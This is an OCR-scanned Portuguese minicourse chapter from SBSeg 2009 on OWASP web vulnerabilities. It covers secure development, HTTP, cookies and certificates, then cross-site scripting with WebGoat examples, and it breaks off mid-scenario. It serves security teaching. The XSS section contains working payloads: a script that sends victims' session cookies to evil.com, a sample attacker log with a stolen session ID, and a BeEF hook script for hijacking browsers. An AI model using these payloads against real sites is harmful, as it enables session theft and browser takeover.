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Abstract

The purpose of this chapter is to discuss the present most common web application
vulnerabilities, according to OWASP, and show through several scenarios how they
can be exploited by malicious users. We present a brief description of each vulnera-
bility and give its root causes, in order to help the reader understand why it happens.
Considering that security and functional tests are fundamentally different, we de-
scribe what to look for when searching for web application weaknesses. Since the best
approach in security is to be proactive, we provide a list of controls that should be in
place to avoid those problems in the first place.

Resumo

O objetivo deste capitulo é apresentar as vulnerabilidades mais comuns que afetam
aplicacoes web, de acordo com o OWASP, e mostrar, por meio de diversos cendrios,
como elas podem ser exploradas por usudrios malictosos. Uma breve descricao de
cada vulnerabilidade € apresentada, juntamente com as causas principais, para que
o leitor compreenda porque elas ocorrem. Considerando que testes funcionais e de
sequranca sao fundamentalmente diferentes, descreve-se o que procurar durante o
processo de deteccao de fraquezas nessas aplicacoes. Finalmente, como a melhor
abordagem para sequranca é ser pro-ativo, uma lista de controles para evitar a pre-
senca dessas vulnerabilidades é fornecida.
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6.1. Introducao

Vulnerabilidades em softwares tém sido amplamente utilizadas por atacantes, para
roubo de informagoes confidenciais e invasoes de redes corporativas. Prover a se-
guranca de um software, porém, nao é um objetivo facil de ser alcancado, dada a
complexidade dos sistemas nos dias de hoje. Facilmente, eles atingem dezenas de
milhares de linhas de c6digo, que contém, invariavelmente, uma quantidade de defei-
tos significativa. Alguns destes tém impacto direto em seguranca, podendo acarretar
desde a indisponibilidade do sistema, até o controle total do computador por um
atacante. Para piorar ainda mais este cenario, considere-se que, normalmente, um
ciclo de desenvolvimento de software seguro nao é adotado, o que resulta, no minimo,
em especificagoes inseguras e configuracao vulneravel das plataformas subjacentes.

Para se ter uma idéia mais clara do mundo real, no periodo de 2001 a 2006, o
nimero de vulnerabilidades em sistemas reportado ao Common Vulnerabilities and
Exposures, simplesmente, triplicou. Além disso, houve uma mudanca nos tipos de
fraquezas mais comumente encontradas, como é possivel observar-se na Figura 6.1.
O estouro de pilha, campeao da lista por muitos anos consecutivos, perdeu o lugar, a
partir de 2005, para vulnerabilidades de injecao de cédigo, como o cross-site scripting
e injecao SQL. Estes tipos de fraquezas afetam, basicamente, sistemas web e indicam
duas coisas:
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Figura 6.1. Progressao da ocorréncia das principais vulnerabilidades reportadas ao CVE.

e A recente popularizagao das interfaces web para comércio eletronico, internet
banking e configuracao de elementos de rede;

e Os problemas de seguranca deste dominio nao estao sendo adequadamente con-
siderados durante o processo de desenvolvimento, tanto por ignorancia como
pela pressao causada por cronogramas de entrega apertados.
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A luz deste contexto, o objetivo do presente capitulo é analisar as principais
vulnerabilidades que afetam aplicagoes web, segundo classificagao do grupo OWASP,
ilustrando para cada uma delas as causas, efeitos, testes para deteccao e mecanismos
de protecao. O restante deste documento esta organizado da seguinte maneira: a
Secao 6.2 tece alguns comentérios sobre o desenvolvimento de software seguro; os
principais projetos do grupo OWASP, especializado em seguranca de aplicacoes web,
sao introduzidos na Sec¢ao 6.3; na Segao 6.4, alguns conceitos importantes para o en-
tendimento do texto sao brevemente revisados; a Se¢ao 6.5 é o coragao do capitulo,
pois realiza a anélise das principais vulnerabilidades em aplicacoes web; finalmente,
na Secao 6.6, sao apresentadas conclusoes sobre os problemas que, atualmente, afe-
tam aplicagoes web.

6.2. Ciclo de Desenvolvimento de Software Seguro

Um software seguro é aquele que satisfaz os requisitos implicitos e explicitos de se-
guranca em condigoes normais de operacao e em situacoes decorrentes de atividade
maliciosa de usuarios. Para isso, deve resultar de um ciclo de desenvolvimento que
considere aspectos de seguranga em todas as suas fases, da especificagao a implanta-
¢ao em produgao (McGraw, 2006; Kissel et al., 2008). Todavia, muitos desenvolve-
dores comecam a se preocupar com seguranca, somente quando o software esta quase
finalizado, pois acreditam, erroneamente, ser possivel trabalhar dessa maneira. Tal
abordagem s6 contribui para um maior custo, pois as correcoes de vulnerabilidades
tornam-se mais caras a medida que se avanca pelas fases de desenvolvimento, como
ilustrado na Tabela 6.1, extraida de Wysopal et al. (2006).

Tabela 6.1. Custo relativo de correcao de software de acordo com a fase do ciclo de
desenvolvimento.

’ Fase \ Custo relativo para corregao
Definicao 1
Projeto alto nivel 2
Projeto detalhado )
Codificacao 10
Teste de unidade 15
Teste de integracao 22
Teste de sistema 50
Poés-entrega 100

Cada fase de um ciclo de desenvolvimento de software seguro, portanto, tem
sua parcela de contribuicao para a qualidade do resultado final e nao pode ser omitida
durante o processo. Na etapa de especificacao, requisitos explicitos de seguranca
devem ser enumerados e requisitos funcionais devem ser avaliados, para verificar se
nao introduzem uma vulnerabilidade no sistema. Um caso ilustrativo é o do suposto
Microsoft Bob, um programa criado para auxiliar o usuério do sistema operacional
sempre que se encontrasse em dificuldades na realizacao de alguma tarefa. Seguindo
essa filosofia, sempre que um usudrio errasse a senha trés vezes consecutivas, ele
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aparecia e perguntava se desejava trocé-la, para conectar-se ao ambiente (McGraw,
2006). Nesta situacao, ndo importa quao bem implementada esteja a funcionalidade,
que o sistema continuard intrinsecamente inseguro.

Atividades comumente realizadas na fase seguinte, a de projeto, incluem o
mapeamento do modelo de dados para estruturas logicas e fisicas, a definicao de pa-
droes de interface a serem utilizados, a escolha de elementos de hardware e software
que farao parte da solucao e o desenho da topologia a ser adotada. Nesse contexto,
um problema muito comum de seguranca que surge é o posicionamento incorreto
do banco de dados na topologia de rede. Para ilustrar esse ponto, considere-se o
levantamento realizado por Litchfield, no final de 2005, em que foram detectados
cerca de 350 mil bancos de dados, contendo dados de produgao, diretamente na
DMZ externa das empresas (Litchfield, 2007). Esse exemplo evidencia pelo menos
um dos intimeros aspectos de seguranca que devem ser considerados no projeto do
software, ao lado de decisdes sobre protocolos seguros de comunicagao e selecao de
algoritmos criptograficos.

O préximo passo consiste na implementagao do software propriamente dito,
em uma ou mais linguagens de programacao, dependendo de cada caso. Para mi-
nimizar vulnerabilidades de codificacao, os desenvolvedores devem ser treinados em
técnicas gerais de programacao segura e nas especificidades das linguagens com as
quais trabalham. Por exemplo, estouro de pilha é um problema comum em progra-
mas feitos em C e C++ (Seacord, 2005), mas nao ocorre na linguagem Java, pois a
maquina virtual verifica se um acesso a um vetor estd dentro dos limites possiveis.
Ferramentas automatizadas para revisao de cédigo podem ser de grande ajuda na
identificagao de padroes reconhecidamente inseguros de programacao, como o uso
das fungoes strcpy() e stremp() em C/C++.

Testes de seguranca sao fundamentalmente diferentes de testes funcionais e,
por isso, devem ser feitos por profissionais especializados. Os tltimos sao descritos
em casos de testes, os quais definem um roteiro dos passos a serem seguidos e o resul-
tado esperado de um comportamento nao defeituoso. Obviamente, nenhum sistema
¢ criado com caminhos documentados de como os requisitos de seguranca podem
ser subjugados, e aif reside a diferenca. Portanto, ao procurar vulnerabilidades em
um software, o testador segue uma linha de raciocino diferente da tradicional, ao
colocar-se no lugar do usudrio malicioso, que tenta encontrar fluxos nao previstos
que possam comprometer a aplicagao. A automacao de algumas tarefas nesse pro-
cesso pode implicar ganho de produtividade, mas o papel do especialista continua
sendo fundamental.

Por fim, e nao menos importantes, encontram-se a implantacao do sistema no
ambiente de producao e a manutencao. Antes da liberacao para o uso, é fundamental
que todos os servidores utilizados pela aplicacao sejam robustecidos, com eliminagao
de servicos e contas desnecessarios e configuracao dos parametros de seguranca de
acordo com as melhores praticas estabelecidas para as plataformas. Correcoes de
seguranca devem ser aplicadas periodicamente no ambiente, principalmente, aquelas
consideradas criticas. Caso criptossistemas com chave sejam empregados, procedi-
mentos adequados de gerenciamento de chaves criptograficas devem ser adotados
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(Menezes et al., 2001; Barker et al., 2007a,b). E, no caso de comprometimento do
sistema, o problema deve ser identificado e imediatamente corrigido.

Invariavelmente, todo software sempre apresenta uma ou mais falhas de segu-
ranca, ao longo de sua existéncia. Assim, é razoavel concluir que é utépico construir
um sistema completamente invulneravel. Porém, com um ciclo de desenvolvimento
seguro, ¢ possivel, no minimo, produzir consistentemente sistemas com um nimero
reduzido de brechas e que possuam mecanismos de protecao contra os diversos ata-
ques conhecidos.

6.3. OWASP

O grupo Open Web Application Security Project é uma organizacao mundial, sem
fins lucrativos, que visa divulgar aspectos de seguranca de aplicagoes web, para que
o risco nesses ambientes seja devidamente avaliado por pessoas e empresas. Exis-
tem, hoje, 130 capitulos locais, espalhados pelos cinco continentes, todos abertos,
gratuitamente, para participacao de pessoas interessadas no assunto. A entidade,
além de organizar conferéncias internacionais e encontros sobre o tema, mantém
diversos projetos, que variam de guias de implementacao segura a ferramentas. Os
trabalhos do OWASP relevantes para este documento estao brevemente descritos
nos paragrafos a seguir:

e Top Ten — é uma lista, ja na segunda versao, das dez vulnerabilidades mais
criticas presentes em aplicacoes web, segundo a experiéncia pratica de diversos
especialistas membros da organizacao. Por essa razao, foi adotado pelos pa-
droes PCI DSS (PCI, 2009a) e PCI PA-DSS (PCI, 2009b), para figurar como
os itens minimos que devem ser considerados na codificagao segura de siste-
mas web. Pelo mesmo motivo, também serviu de base para as vulnerabilidades
abordadas no presente documento.

e Guia de desenvolvimento (Wiesmann et al., 2005) — descreve as melhores prati-
cas de seguranca para o projeto, desenvolvimento e implantacao de sistemas e
servigos web e inclui diversos exemplos praticos de cédigos em J2EE, ASP.NET
e PHP.

e Guia de testes (Meucci et al., 2008) — fornece metodologia e procedimentos
detalhados para a realizagao de testes de invasao em aplicagoes web, com
cobertura das principais vulnerabilidades conhecidas. Sao apresentados testes
caixa-preta e, também, caixa-cinza.

e Guia de revisao de cédigo (van der Stock et al., 2008) — livro que ilustra como
encontrar vulnerabilidades em aplicagoes web, por meio da inspegao do cédigo
fonte. Contém exemplos em diversas linguagens como Java, C, C++ e ASP.

e WebScarab — ferramenta escrita em Java, para ser utilizada em testes de se-
guranca de aplicagoes web. A principal funcionalidade é atuar como um prozy
entre o navegador e o servidor web, permitindo interceptar requisigoes e respos-
tas e altera-las, se desejado. Outras opgoes existentes permitem, por exemplo,
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automatizar testes de injecao, analisar a aleatoriedade de identificadores de
sessao e repetir requisicoes contidas no historico.

e WebGoat — é uma aplicacao web propositadamente insegura criada com o
objetivo de ensinar os conceitos de seguranca web e testes de invasao. Parte
dos exemplos deste texto sao baseados nesta ferramenta.

6.4. Revisao de Conceitos
6.4.1. Protocolo HTTP

HyperText Transfer Protocol (HTTP) (Fielding et al., 1999) é um protocolo da
camada de aplicagao, utilizado na distribuicao de documentos de hipertexto, os quais
sao a base da World Wide Web. Esta foi a grande responsavel pela popularizacao da
Internet e é a face mais conhecida da rede mundial. No inicio, os recursos acessados
por meio de HTTP eram todos estaticos, bem diferente dos dias de hoje, em que o
contetdo é gerado dinamicamente, de acordo com a interacao do usuério com o site.

O protocolo opera no estilo cliente-servidor, no qual o navegador web (cliente)
realiza uma requisicao de recurso a um servidor web, que responde com o conteido
solicitado, se existir. O transporte dos dados, normalmente, é realizado por meio de
TCP/IP, mas isso nao é um requisito; basta que o protocolo utilizado fornega entrega
confidvel. Apesar disso, HT'TP nao é orientado a conexao e, assim, é um protocolo
que nao mantém estado das conversacoes. Considerando como era utilizado nos
primordios, isso, de fato, nao era uma necessidade.

Os recursos sao identificados de maneira tinica por meio de Uniform Resource
Locators (URLs), que correspondem aos enderecos que usudrios digitam nos nave-
gadores para acessarem sites especificos. Uma URL define o protocolo de acesso, o
servidor do recurso, porta utilizada, caminho no servidor até o elemento, nome do
recurso e parametros. Note-se que nem todos esses itens sao obrigatérios em uma
requisicao.

O protocolo HTTP nao possui nativamente nenhum mecanismo para proteger
os dados que carrega. Assim, informacoes podem ser adulteradas, injetadas ou
removidas, de maneira nao autorizada, durante o transito até o cliente ou servidor.
Para preencher essa lacuna, o HTTP pode ser utilizado sobre os protocolos SSL
ou TLS, que fornecem servigos para autenticacao de entidades, autenticacao da
origem da mensagem, integridade e sigilo do canal de comunicacao. Este é o padrao
empregado para transporte de dados sigilosos em aplicagoes bancarias e de comércio
eletronico, por exemplo.

6.4.1.1. Requisicao

Para acessar um recurso em um servidor, uma requisicao HTTP deve ser realizada
pelo cliente, de acordo com um formato pré-estabelecido, contendo trés secoes. A
primeira consiste de uma linha descrevendo a requisicao; em seguida, diversas linhas
compoem os cabecalhos HTTP pertinentes; a terceira secao, opcional, corresponde
ao corpo da mensagem e deve vir separada da segunda, por uma linha em branco.
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Como ilustracao, considere que um usuario deseja ver o site do SBSeg 2009,
utilizando o navegador Firefox. A seguinte requisicao é feita pelo software:

GET http://sbseg2009.inf.ufsm.br:80/sbseg2009/ HTTP/1.1

Host: sbseg2009.inf.ufsm.br

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.
13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729)
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,%*/%*;q=0.8
Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;9=0.7,%;9=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

A primeira linha sempre é composta por um método HTTP (GET), o recurso
identificado por uma URL (http://sbseg2009. . .) e a versao do protocolo utilizada
(HTTP/1.1). As demais linhas do exemplo sao cabegalhos, que identificam, entre
outras coisas, o nome de dominio do servidor, o navegador utilizado, o tipo de
sistema operacional do cliente e tipos de contetidos e codificacoes aceitos.

6.4.1.2. Resposta

A resposta do servidor a uma requisicao, também, é composta por trés secoes:

e Linha de estado descrevendo o protocolo/versao utilizados, cédigo de estado

e um valor textual, que nao é interpretado, hoje, pelos navegadores (Stuttard
and Pinto, 2007).

e Seqiiéncia de cabecalhos fornecendo informagcoes como data, servidor e tipo do
contetudo.

e Conteudo referente ao recurso solicitado, separado das secoes anteriores, por
uma ou mais linhas em branco.

O resultado da requisicao da secao anterior esta ilustrado a seguir. E im-
portante mencionar que uma resposta pode gerar novas requisigoes, caso o conteido
apresentado possua elementos como imagens e scripts com especificagao de arquivos.

HTTP/1.1 200 OK

Date: Sun, 23 Aug 2009 13:03:23 GMT

Server: Apache/2.2.9 (Ubuntu) PHP/5.2.9-0.dotdeb.2 with Suhosin-Patch
X-Powered-By: PHP/5.2.9-0.dotdeb.2

Set-Cookie: SESScf36402703del110533bce89bc3e3ec75=174307300c76£d481652
ccb2f366eadb; expires=Tue, 15-Sep-2009 16:36:43 GMT; path=/; domain=
.sbseg2009. inf .ufsm.br
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Last-Modified: Fri, 21 Aug 2009 15:39:27 GMT
ETag: "79db38£60d123a07bbfdfa7labfeba63"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
X-Content-Encoding: gzip

Content-length: 2634

Content-Type: text/html; charset=utf-8
X-ManualEdit: possibly modified

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtmll-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="pt-br"
xml:lang="pt-br">

6.4.1.3. Métodos

H& oito métodos, ao todo, especificados pelo protocolo HTTP, os quais indicam a
acao solicitada pela requisicao. Os dois mais importantes, no escopo deste texto, sao
os métodos GET e POST. O primeiro ¢ utilizado para solicitar paginas ao servidor
e permite que parametros sejam passados como parte da URL do recurso. Isso
implica que informacoes sensiveis nao devem ser passadas por meio de GET, pois
elas serao exibidas em histéricos de navegadores e registradas em trilhas de auditoria,
no servidor web. O método POST é empregado para submeter agoes ao servidor e
os parametros podem ser passados como parte do corpo da mensagem e, também,

da URL.

6.4.1.4. Coddigos de estado

Cédigos de estado sao valores numéricos de trés digitos, que fazem parte da primeira
linha da resposta do servidor a uma requisicao e denotam o resultado da solicitagao.
Sao divididos em cinco classes, de acordo com o significado:

e 1xx — c6digos de informagao. Atualmente, sdo raramente utilizados (SANS,
2008Db).

e 2xx — indicam que a requisicao foi atendida com sucesso. Ex.: 200 OK —
resposta padrao, quando o recurso € provido sem erros.

e 3xx — informam que o cliente precisa realizar agoes adicionais para completar
a requisicao. Ex.: 301 Moved Permanently — faz com que requisicoes sub-
seqiientes da URL solicitada sejam permanentemente redirecionadas para a
informada na mensagem.

e 4xx — enviadas quando a requisicao nao pode ser atendida, por erro de sintaxe,
falta de autorizacao ou porque o recurso nao foi encontrado. Ex.: 404 Not
Found — o recurso nao pode ser encontrado no servidor.
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e 5xx — indicam erros no servidor que o impediram de atender a requisicao. Ex.:
501 Not Implemented — o servidor nao suporta o método solicitado.

6.4.1.5. Cabecalhos

Os cabecalhos compdem a segunda se¢ao das requisigoes e respostas e definem varias
caracteristicas importantes de ambas. Sao compostos do nome e do valor, separados
pelo sinal de dois-pontos, e listados um por linha. Os itens abaixo explicam alguns
dos cabecalhos encontrados nos exemplos das Segoes 6.4.1.1 e 6.4.1.2:

e Host — nome de dominio do servidor.
e User-Agent — indica a aplicagao cliente que gerou a requisicao.
e Accept — tipos de conteido aceitos pela aplicacao cliente.

e Server — nome do servidor e informacoes do sistema operacional. Se nenhum
mecanismo de camuflagem for utilizado, pode ser empregado para identificacao
do elemento, durante a fase de reconhecimento em um ataque.

e Set-Cookie — define um cookie no navegador, que é o mecanismo utilizado para
manter uma sessao, no protocolo HT'TP.

e Expires — determina a validade do corpo da mensagem, isto é, até que instante
o navegador pode utiliza-lo, a partir de uma cépia local, sem necessitar realizar
novas requisicoes para 0 mesmo recurso.

e Content-Length — o comprimento em bytes do corpo da mensagem.

6.4.1.6. Cookies

Um cookie é um elemento do protocolo HT'TP, enviado ao navegador pelo servidor,
com o objetivo de lembrar informacoes de um usudrio especifico. E formado por uma
cadeia de caracteres, normalmente, organizada em pares nome/valor, separados por
ponto-e-virgula. Uma vez definido, é enviado pelo navegador em toda requisigao
subseqiiente ao mesmo dominio. Dois usos principais incluem a manutencao de ses-
sao, uma vez que isso nao é suportado nativamente pelo protocolo, e a autenticagao
de usuarios.

Alguns atributos podem ser definidos para os cookies, além dos pares con-
tendo nome e valor (Stuttard and Pinto, 2007):

e expires — define por quanto tempo o cookie é valido e, assim, permite que o
estado se mantenha apds o navegador ser encerrado.

e domain — define para quais dominios o cookie é valido, desde que o servidor
seja um membro daqueles.



246 Minicursos SBSeg 2009

e path — define os caminhos para os quais cookie é valido.

e secure — demanda que o cookie seja enviado somente em requisigoes feitas por
meio de HTTPS.

e HttpOnly — quando definido, impede que seja acessado por cédigo executado
no lado do cliente. Porém, nem todo navegador honra esse atributo.

6.4.1.7. Autenticacao HTTP

O protocolo HTTP possui dois métodos nativos, Basic e Digest, para autenticar
usudrios, antes que acessem recursos protegidos do servidor (Franks et al., 1999).
Ambos seguem o seguinte fluxo geral:

1. Usudrio solicita um recurso protegido do servidor.

2. Se o usuario ainda nao se autenticou, uma resposta com cédigo de estado 401
Unauthorized é enviada ao navegador, juntamente com um cabecalho WWW-
Authenticate, que define o tipo requerido de autenticacao.

3. O usudrio fornece usuario e senha em uma caixa de didlogo, os quais sao
enviados, em um cabecalho Authorization, codificados em BASE64, no caso
de Basic, e protegidos pelo algoritmo MDS5, no caso de Digest.

4. Se as credenciais enviadas forem vélidas, o servidor fornece o recurso solici-
tado e as credenciais sao incluidas em toda requisicao subseqiiente ao mesmo
dominio. Senao, o fluxo retorna ao segundo passo.

A impossibilidade de travamento de conta por multiplas tentativas sucessi-
vas e invalidas de autenticacao e a inexisténcia de mecanismos de encerramento de
sessao (exceto, fechando-se o navegador) sao alguns dos problemas desses métodos

de autenticagao (SANS, 2008b).

6.4.2. Certificado Digital

Existe muita confusao na literatura e entre profissionais de seguranca sobre o que
realmente é um certificado digital. E muito comum encontrar afirmacgoes de que ele
serve para autenticar uma entidade, como um servidor web, por exemplo. Mas, isso
esta longe de ser a verdade. O propdsito de um certificado, na realidade, é atestar a
autenticidade da chave publica de uma entidade, condicao que é fundamental para
o emprego de criptossistemas assimétricos (Menezes et al., 2001).

Isso é obtido pela confianca depositada em uma terceira parte confiavel, a
autoridade certificadora (AC), que assina digitalmente um documento eletronico
contendo informacoes sobre uma dada entidade e a chave publica auténtica dela.
Esses dados mais a assinatura digital compoem o certificado digital, que pode ser
distribuido por canais inseguros, sem o risco de adulteragao indetectavel. A emissao,
como ¢é chamado o processo descrito, deve ocorrer apenas apds a AC, com a diligéncia
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devida, verificar documentos comprobatdérios da identidade da entidade e que ela tem
a posse da chave privada associada.

Para validar um certificado digital, é necessario verificar se a data atual esta
dentro do prazo de validade do certificado, se ele nao esta revogado e se a assinatura
digital da autoridade certificadora esta correta. Esta ultima parte requer a chave
publica auténtica da AC, a qual pode ser obtida por meio de um certificado digital
emitido para ela, por uma AC de nivel superior, ou por meio de um certificado
auto-assinado, caso seja uma AC raiz. Neste ultimo caso, o certificado é assinado
com a prépria chave privada associada a chave publica contida nele. Uma vez que
qualquer pessoa pode gerar um certificado assim, é primordial que seja fornecido por
um canal auténtico e integro.

6.5. Vulnerabilidades

Esta segao discute algumas das vulnerabilidades consideradas pelo projeto OWASP
Top Ten, com a seguinte abordagem: inicialmente, uma breve descricao da fraqueza
e as causas de ocorréncia sao apresentadas; em seguida, ela ¢ ilustrada com cenarios
de exploracao, na grande maioria, baseados no WebGoat e, adicionalmente, na ex-
periéncia pratica dos autores; depois, testes que podem ser efetuados para detectar
o problema sao introduzidos e, por fim, explicam-se as contramedidas que podem
ser adotadas para evitar-se a criacao de aplicacoes contendo a vulnerabilidade.

6.5.1. Cross Site Scripting

6.5.1.1. Descricao e Causas

Cross Site Scripting, também conhecido como XSS3, é o defeito mais comumente
encontrado em aplicacoes web e permite utilizar uma aplicacao vulneravel, para
transportar codigo malicioso, normalmente escrito em Javascript, até o navegador
de outro usudario. Dada a relacao de confianga estabelecida entre o navegador e
o servidor, aquele entende que o codigo recebido € legitmo e, por isso, permite que
informagoes sensiveis, como o identificador da sessao do usuério, por exemplo, sejam
acessadas por ele. Com isso em maos, um usuario malicioso pode seqiiestrar a sessao
da pessoa atacada (Stuttard and Pinto, 2007; Howard et al., 2005; Fogie et al., 2007).

Esta vulnerabilidade ocorre sempre que uma aplicacao web nao valida infor-
magoes recebidas de uma entidade externa (usudrio ou outra aplicacdo) e as insere
inalteradas em alguma pagina gerada dinamicamente. A razao disso é que qualquer
codigo contido naquelas informacoes sera interpretado como tal, pelo navegador do
usuario que realiza o acesso, e executado automaticamente, no contexto da sessao.
Para exemplificar, imagine que o texto fornecido e integralmente “exibido” pela apli-
cagao seja <script>alert ("XSS")</script>. O resultado do ataque esta ilustrado
na Figura 6.2, juntamente com o trecho de cédigo-fonte pertinente.

Dependendo de como o contetido malicioso chega até a vitima, o XSS ¢é clas-
sificado em XSS refletido ou XSS armazenado.

3A sigla utilizada nao é CSS, para nio ser confundida com Cascade Style Sheets.
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Figura 6.2. Exemplo de vulnerabilidade XSS.

XSS Refletido

Nesta classe de XSS, o cédigo é enviado na URL ou no cabegalho HTTP, como
parte da requisicao, explorando um parametro que é exibido sem tratamento na
pagina resultante. Normalmente, requer que o usuario seja induzido a clicar em um
link especialmente construido, com conteido malicioso. De acordo com Stuttard
and Pinto (2007), é muito comum em péginas dinamicas utilizadas para exibi¢ao de
mensagens parametrizadas de erro.

Veja-se, a seguir, os passos necessarios para a exploragao da vulnerabilidade:

1. O atacante fornece a vitima uma URL para a aplicacao vulneravel, com cédigo
Javascript embutido em um dos parametros;

2. A vitima solicita a aplicacao vulneravel o recurso identificado pela URL for-
necida no primeiro passo;

3. A aplicag@o atende a requisigao e reflete o cddigo malicioso para o navegador
do usuario;

4. O Javascript escrito pelo atacante é executado na maquina do usuario, como
se fosse proveniente da aplicacao.

Como exemplo, considere-se uma aplicacao que possua um campo de busca
e que exiba uma mensagem de erro contendo o valor digitado, quando ele nao for
encontrado na base de dados. Supondo que a requisicao é feita pelo método GET
e a informacao procurada é passada no parametro search_name, a seguinte URL
pode ser empregada em um XSS refletido:

http://localhost:8080/WebGoat/attack?Screen=33&menu=900&
search_name=X<script>alert (%22XSS%20Refletido%22)
</script>&action=FindProfile

Note-se que, além do texto “X”, um codigo Javascript para exibicao de caixa
de mensagem ¢ passado como parte do parametro search_name. Dada a inexisténcia
do valor na base, a aplicacao exibe pagina de erro, informando que “X<script>...”
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nao foi encontrado. Ao realizar isso, porém, o cédigo fornecido em search_name é
embutido no HTML e executado pelo navegador, como ilustrado na Figura 6.3.

J LAB: Cross Site Scripting - Mozilla Firefox

Arquivo  Editar  Exibir  Histdrico  Faworitos  Ferramentas  Ajuda

6 - c x fﬁ ( |j |http:,i,l’loca\host:SDSD,I’WabGoat)’attack?Screan=33&menu=9006|search_name=><<script>alert("><55 ReFIetido")<,iscript)*&actinn=Fin i} " |"Goo
|8 Wais visitados 4 Guia rapido Ultimas noticias |j webGoast

Norton - Q - @ Cartfies & Logins =

Fraxy: " apply f Edit '!B Remove D Add | Status: Lsing WebScarab | % Preferences

AIAR Security

A pagina hitp:/{localhost:B0BO diz: ] Goat Hills Financial

Human Resources

‘ %355 Refletido

(4

Search For User
Employae

Cross-Site Scripting (#S5)
Denial of Service

Improper Error Handling

Injection Flaws

Insecure Commmunication

Figura 6.3. Exemplo de XSS refletido.

XSS Armazenado

XSS armazenado ou persistente recebe este nome porque o cédigo malicioso é ar-
mazenado pela aplicacao, normalmente em um banco de dados, e exibido a todos
0S USuarios que acessarem O recurso. E um tipo mais perigoso, pois pode afetar
uma quantidade maior de usuarios, de uma unica vez, além de nao ser necessario
induzi-los a seguir um /ink para serem atacados.

Um exemplo comum é um férum de discussao, em que alguns usuarios expoem
as duvidas deles, para que outros as esclarecam. Neste caso, os passos para realizar
um XSS armazenado estao representados na Figura 6.4 e descritos a seguir:

Message List 2 res
I = ‘ Vitima
Boa perquntalll

Title: :Bua perguntalll ‘
Message: cseriptsalert ("XSS") </script> | 1 [ 3 E A pagina http://localhost: 8080 diz: )
[ | Title: A ==
- [t 4

L1
‘ Atacante

Message Contents For: Boa pergunta!!!
Title: ~ Boa perguntall!
Message:

Figura 6.4. Exemplo de XSS armazenado.



250 Minicursos SBSeg 2009

1. Um usuério malicioso insere cddigo (<script>alert("XSS")</script>, por
exemplo) no corpo da pergunta e a submete a aplicagdo defeituosa, que, por
esse motivo, nao valida a entrada e armazena o texto integralmente no banco
de dados;

2. Um outro usuario verifica a lista de perguntas e resolve acessar justamente
aquela com conteido malicioso;

3. A aplicacao recupera a informagcao do banco de dados e a utiliza para gerar a
pagina solicitada;

4. O Javascript escrito pelo atacante é transportado até o navegador do usuédrio,
onde é executado.

6.5.1.2. Cenarios de Exploracao

Geralmente, um ataque de cross site scripting é demonstrado por meio da exibicao
de uma caixa de mensagem, como nos exemplos desta secao. Esta pratica deu origem
ao mito de que XSS nao é um grande problema de seguranca, pois passa a idéia de
que isso é o maximo que se pode fazer. No entanto, por meio da exploracao da

vulnerabilidade, é possivel (SANS, 2008b,a; Stuttard and Pinto, 2007):

e Seqiiestrar uma sessao da aplicacao;
e Redirecionar o usudrio para outra pagina;

e Realizar uma varredura na rede local da vitima, aproveitando-se de que o
conteudo malicioso ja estd no segmento interno da rede;

e Desfigurar paginas HTML a medida que sao recebidas;
e Instalar um keylogger:;

e Criar uma teia de navegadores escravos, que executara comandos Javascript
arbitrarios.

Qualquer uma das situacoes acima, claramente, é bem mais critica que a
simples exibicao de uma mensagem. Imagine-se, por exemplo, uma aplicacao de
internet banking vulneravel, que permita seqiiestrar sessoes de outros usuarios. Os
efeitos podem ser catastroficos, se outros controles nao estiverem presentes. Este
tipo de exploragao, juntamente com a escravizacao de navegadores, é detalhado nos
proximos paragrafos.

Cenario 1: Seqiiestro de sessao
Os parédgrafos abaixo ilustram como um ataque de cross site scripting pode ser
utilizado para obtencao do identificador de sessao, e consequente seqiiestro desta:
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1. Um usuario malicioso acessa a aplicacao e introduz o seguinte cédigo em um
campo vulneravel:

<script>
document .write(’<img src="https://evil.com/Inv.htm?SID=’ +
document.cookie +
;u)z)
</script>

2. A vitima se autentica na aplicacao e, como sempre, recebe um identificador de
sessao, conforme ilustrado na Figura 6.5.

3. Em seguida, o usudario acessa uma pagina que exibe a informacao obtida a
partir do campo vulneravel.

4. O codigo malicioso é transportado até o navegador da vitima e, quando execu-
tado, inclui uma imagem dinamicamente na pagina sendo exibida. Utiliza-se
um marcador para imagem, em vez de um link, porque o primeiro busca o re-
curso automaticamente, sem precisar de intervencao do usudrio. Assim, uma
requisicao contendo o identificador de sessao da vitima é feita para evil.com,
servidor dominado pelo atacante.

5. O atacante acessa as trilhas de requisi¢oes do servidor evil.com e procura por
registros como o seguinte:

[13/Aug/2009:22:01:04 -0400] 192.168.10.1 TLSvl DHE-RSA-AES256-
SHA "GET /Inv.htm?SID=JSESSIONID=928261AAAFB29F3A4847BEAD4EOCSE
12 HTTP/1.1" 289

6. Para finalizar, o usuario malicioso envia uma requisicao a aplicacao, mas subs-
tituindo o identificador de sessao atribuido a ele pelo obtido na trilha de au-
ditoria. O sistema entenderd que a solicitagao partiu da vitima, com base no
identificador enviado.

Cenario 2: Escravizacao de navegador

BeEF é um arcabougo para exploragao avangada de navegadores, baseado na lingua-
gem Javascript. Basta que o script de controle seja executado, para que o navegador
passe a figurar como um zumbi a mercé do atacante. A partir disso, cédigo arbi-
trario pode ser executado na méaquina cliente, possibilitando realizar varreduras de
rede, capturar identificadores de sessao e roubar dados da area de transferéncia do
Windows, se versoes antigas de Internet Explorer forem utilizadas. E facil perceber,
nesse contexto, como um ataque XSS pode ser empregado:

1. Usuéario malicioso acessa a aplicacao e insere o seguinte codigo em um campo
vulneravel:
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¥ Stored XS5 Attacks - Mozilla Firefox
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Figura 6.5. Identificador de sessdao do usuario guest.

<script src="http://www.beef.com/beef/hook/beefmagic.js.php">
</script>

2. Vitima se autentica na aplicagao e, em seguida, acessa uma pagina que exibe
a informacao obtida a partir do campo vulneravel.

3. O script do BeEF é executado e conecta-se ao gerenciador, escravizando o
navegador. A Figura 6.6 ilustra a tela de gerenciamento do BeEF com dois
